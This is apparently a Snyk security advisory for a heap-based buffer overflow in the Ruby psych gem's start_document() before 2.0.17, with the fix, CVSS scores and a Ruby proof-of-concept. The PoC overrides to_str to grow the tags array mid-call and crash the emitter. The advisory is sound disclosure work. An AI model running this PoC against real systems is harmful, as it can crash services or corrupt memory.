Heap-based Buffer Overflow Affecting psych package, versions <2.0.17


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.86% (83rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-RUBY-PSYCH-3035529
  • published 29 Sep 2022
  • disclosed 29 Sep 2022
  • credit Marcin ‘Icewall’ Noga

How to fix?

Upgrade psych to version 2.0.17 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the start_document() function in psych_emitter.c. Passing in a malicious tags array can trigger a crash.

PoC:

require 'Psych'

$tags = []

puts "[+] Start"
f = File.new("newfile",  "w+")
emitter = Psych::Emitter.new(f)
version = [1,1]
obj = Regexp.new("a".force_encoding("utf-8"),Regexp::Regexp::FIXEDENCODING)

def obj.to_str
    puts "[+] Increasing size of tags array"
    (1..10).map{|x| $tags.push(["AAAA","BBBB"])}
    puts "[+] tags array size : #{$tags.length}"	
    return "x"
end

$tags.push([obj,"tag:TALOS"])
puts "[+] tags array size : #{$tags.length}"	
emitter.start_document(version,$tags,0)

puts "[+] End"

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.5 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

9.8 critical
Expand this section

Red Hat

9.8 critical